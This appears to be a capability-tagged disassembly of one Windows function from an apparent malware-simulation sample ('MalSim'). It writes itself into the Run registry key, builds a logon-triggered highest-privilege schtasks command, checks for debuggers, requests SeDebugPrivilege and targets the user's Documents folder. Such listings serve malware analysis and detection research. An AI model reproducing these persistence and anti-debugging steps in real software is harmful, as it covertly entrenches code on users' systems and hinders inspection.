Function at 0x402a40
Capabilities:
Acquire debug privileges
Check for debugger via api
Execute command
Persist via run registry key
Schedule task via schtasks
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x406411
mov eax, dword fs:[0]
push eax
sub esp, 0x260
mov eax, dword [0x40a040]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0x104
lea eax, [ebp - 0x218]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea eax, [ebp - 0x250]
push eax
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
test eax, eax
jne 0x402ade
lea ecx, [ebp - 0x218]
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x402aa3
sub ecx, edx
sar ecx, 1
lea eax, [ecx + ecx]
push eax
lea eax, [ebp - 0x218]
push eax
push 1
push 0
push str.MalSim
push dword [ebp - 0x250]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 0x250]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push str.schtasks__create__tn__MST___tr__
lea ecx, [ebp - 0x234]
call fcn.00403a00
lea eax, [ebp - 0x218]
mov dword [ebp - 4], 0
push eax
lea ecx, [ebp - 0x234]
call fcn.00403ef0
push str.___sc_onlogon__rl_highest
lea ecx, [ebp - 0x234]
call fcn.00403ef0
cmp dword [ebp - 0x220], 7
lea eax, [ebp - 0x234]
cmova eax, dword [ebp - 0x234]
push eax
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wsystem]
mov dword [ebp - 4], 0xffffffff
add esp, 4
mov ecx, dword [ebp - 0x220]
cmp ecx, 7
jbe 0x402b7e
mov edx, dword [ebp - 0x234]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x402b74
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x402b74
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.0040531f
add esp, 8
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
jne 0x402db6
call fcn.00401220
test al, al
jne 0x402db6
lea eax, [ebp - 0x250]
mov dword [ebp - 0x250], 0
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
cmp dword [ebp - 0x250], 0
jne 0x402db6
lea eax, [ebp - 0x250]
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x402c03
lea eax, [ebp - 0x228]
push eax
push str.SeDebugPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
push dword [ebp - 0x250]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x402db6
call fcn.00401550
test al, al
jne 0x402db6
push str.USERPROFILE
lea eax, [ebp - 0x21c]
mov dword [ebp - 0x254], 0
push eax
lea eax, [ebp - 0x254]
mov dword [ebp - 0x21c], 0
push eax
call dword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll__wdupenv_s]
mov eax, dword [ebp - 0x254]
add esp, 0xc
test eax, eax
je 0x402d57
push eax
lea ecx, [ebp - 0x26c]
call fcn.00403a00
push str.Documents_
mov ecx, eax
mov dword [ebp - 4], 1
call fcn.00403ef0
xor ecx, ecx
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x234], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x224], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
mov word [eax], cx
mov byte [ebp - 4], 3
mov ecx, dword [ebp - 0x258]
cmp ecx, 7
jbe 0x402cdd
mov edx, dword [ebp - 0x26c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x402cd3
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x402cd3
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.0040531f
add esp, 8
push dword [ebp - 0x254]
xor eax, eax
mov dword [ebp - 0x25c], 0
mov dword [ebp - 0x258], 7
mov word [ebp - 0x26c], ax
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
add esp, 4
lea ecx, [ebp - 0x234]
call fcn.00401780
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x220]
cmp ecx, 7
jbe 0x402d57
mov edx, dword [ebp - 0x234]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x402d4d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402da6
push ecx
push edx
call fcn.0040531f
add esp, 8
lea ecx, [ebp - 0x24c]
call fcn.004023c0
lea ecx, [ebp - 0x24c]
mov dword [ebp - 4], 4
call fcn.004027d0
mov ecx, dword [ebp - 0x238]
cmp ecx, 7
jbe 0x402db6
mov edx, dword [ebp - 0x24c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x402dac
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x402dac
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.0040531f
add esp, 8
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004051cc
mov esp, ebp
pop ebp
ret